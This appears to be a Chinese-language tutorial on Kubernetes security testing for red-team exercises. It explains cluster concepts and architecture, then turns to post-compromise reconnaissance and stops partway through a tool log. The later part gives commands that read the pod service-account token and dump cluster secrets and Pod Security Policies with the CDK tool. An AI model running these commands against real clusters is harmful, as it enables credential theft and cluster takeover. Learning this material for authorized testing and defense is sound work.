文章前言
在打攻防演练的时候偶尔会遇到目标内网资产采用集群化部署的情况(GuoQi偏多),在这种情况下由于刷分需求就需要对集群进行攻击测试以争取控制整个集群,本篇文章将从K8s的基本概念、主要组件、架构和安全评估测试方法等维度对K8s的安全进行系统性介绍
基础知识
容器概念
Container(容器)是一种便携式、轻量级的操作系统级虚拟化技术,它使用namespace隔离不同的软件运行环境,并通过镜像自包含软件的运行环境,从而使得容器可以很方便的在任何地方运行,由于容器体积小且启动快,因此可以在每个容器镜像中打包一个应用程序,这种一对一的应用镜像关系拥有很多好处,使用容器不需要与外部的基础架构环境绑定,因为每一个应用程序都不需要外部依赖,更不需要与外部的基础架构环境依赖,完美解决了从开发到生产环境的一致性问题
Pod概念
Kubernetes使用Pod来管理容器,每个Pod可以包含一个或多个紧密关联的容器,Pod是一组紧密关联的容器集合,它们共享PID、IPC、Network 和UTS Namespace,是Kubernetes调度的基本单位,Pod内的多个容器共享网络和文件系统,可以通过进程间通信和文件共享这种简单高效的方式组合完成服务
在Kubernetes中对象使用ManiFest(YAML或JSON)来定义,一个简单的Nginx服务可以定义为nginx.yaml,它包含一个镜像为nginx的容器,示例如下:
apiVersion: v1 kind: Pod metadata: name: nginx labels: app: nginx spec: containers: -name: nginx image: nginx ports: -containerPort: 80
Node概念
Node是Pod真正运行的主机,可以是物理机,也可以是虚拟机,为了管理Pod每个Node节点上至少要运行Container Runtime(比如docker或者rkt)、 Kubelet和Kube-proxy服务
Namespace
Namespace是对一组资源和对象的抽象集合,比如可以用来将系统内部的对象划分为不同的项目组或用户组,常见的pods, services, replication controllers和deployments等都是属于某一个namespace的(默认是default),而node, persistentVolumes等则不属于任何namespace
Service概念
Service是应用服务的抽象,通过labels为应用提供负载均衡和服务发现,匹配labels的Pod IP和端口列表组成endpoints,由kube-proxy负责将服务IP负载均衡到这些endpoints上,通常每一个Service都会自动分配一个Cluster IP(仅在集群内部可访问的虚拟地址)和DNS名,其他容器可以通过该地址或DNS来访问服务,而不需要了解后端容器的运行:
apiVersion: v1 kind: Service metadata: name: nginx spec: ports: - port: 8078 # the port that this service should serve on name: http # the container on each pod to connect to, can be a name # (e.g. 'www') or a number (e.g. 80) targetPort: 80 protocol: TCP selector: app: nginx
架构概览
架构源起
Borg是谷歌内部的大规模集群管理系统,负责对谷歌内部很多核心服务的调度和管理,Borg的目的是让用户能够不必操心资源管理的问题,让他们专注于自己的核心业务,并且做到跨多个数据中心的资源利用率最大化
Borg主要由BorgMaster、Borglet、Borgcfg和Scheduler组成,架构示意图如下:
- Borglet:负责真正运行任务(在容器中)
- Borgcfg:Borg的命令行工具,用于跟Borg系统交互,一般通过一个配置文件来提交任务
- Scheduer:负责任务的调度,根据应用的特点将其调度到具体的机器上去
- BorgMaster:是整个集群的大脑,负责维护整个集群的状态,并将数据持久化到 Paxos 存储中
架构模型
K8s借鉴了Borg的设计理念,比如:Pod、Service、Label、单Pod、单IP等,Kubernetes的整体架构跟Borg非常像,如下图所示:
K8s主要由以下几个核心组件组成:
- etcd:保存了整个集群的状态
- apiserver:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API 注册和发现等机制
- controller manager:负责维护集群的状态,比如:故障检测、自动扩展、滚动更新等
- scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上
- kubelet:负责维护容器的生命周期,同时也负责Volume(CSI)和网络(CNI)的管理
- Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI)
- kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡
核心组件
Kubernetes主要由以下几个核心组件组成,这也是我们对K8s进行安全评估的主要测试维度:
- etcd:保存了整个集群的状态
- apiserver:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API注册和发现等机制
- controller manager:负责维护集群的状态,比如故障检测、自动扩展、滚动更新等
- scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上
- kubelet:负责维护容器的生命周期,同时也负责Volume(CVI)和网络(CNI)的管理
- Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI)
- kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡
下面是关键组件的一些常用默认端口:
渗透路径
常见的K8S的渗透路径:
形象的K8S的渗透过程:
信息收集
我们评估是如果获取到应用的webshell权限时是很有必要判断一下当前的环境的,最狠的一次是之前打HW的时候有厂商搭建了一套完整的域环境的蜜罐系统,看着你打.....,所以这个阶段要做的还是信息收集
环境信息
env
env | grep KUBERNETES
容器检测
注意下面的.dockerenv哦:
ls -al
内核版本
需要下载kubectl到pod中,之后通过执行以下命令来获取node节点的内核版本信息
kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.nodeInfo.kernelVersion}{"\n"}{end}'
Token类
K8s集群创建的Pod中容器内部默认携带K8s Service Account认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),利用该凭据可以认证K8s API-Server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,可以直接利用Service Account管理K8s集群
cat /var/run/secrets/kuberenetes.io/serviceaccount/token
Secret类
K8s Secrets用于存储敏感数据,从Secrets中获取的AK及通信凭证可用户后续渗透中从外部或云产品API窃取信息:
#命令格式 ./cdk run k8s-secret-dump (auto|<service-account-token-path>) #使用实例 ./cdk run k8s-secret-dump auto
安全策略
对于已经获取了kubeconfig或sa账号权限,进而想要创建特殊配置的容器,但是受到了K8s Pod Security Policies的限制时可以使用这个Exploit获取Pod Security Policies的规则信息
#命令格式 ./cdk run k8s-psp-dump (auto|<service-account-token-path> #使用实例 ./cdk run k8s-psp-dump auto 2021/03/24 22:15:58 getting K8s api-server API addr. Find K8s api-server in ENV: https://ip:8443 2021/03/24 22:15:58 trying to dump K8s Pod Security Policies with local service-account: token 2021/03/24 22:15:58 requesting /apis/policy/v1beta1/podsecuritypolicies 2021/03/24 22:15:58 dump Pod Security Policies success, saved in: k8s_pod_security_policies.json 2021/03/24 22:15:58 requesting /api/v1/namespaces/default/pods 2021/03/24 22:15:58 K8S Pod Security Policies rule list: 2021/03/24 22:15:58 rule { securityContext.hostPID: true } is not allowed. 2021/03/24 22:15:58 rule { securityContext.hostIPC: true } is not allowed. 2021/03/24 22:15:58 rule { volumes[0].hostPath.pathPrefix: \"/proc\" } is not allowed. 2021/03/24 22:15:58 rule { volumes[1].hostPath.pathPrefix: \"/dev\" } is not allowed. 2021/03/24 22:15:58 rule { vo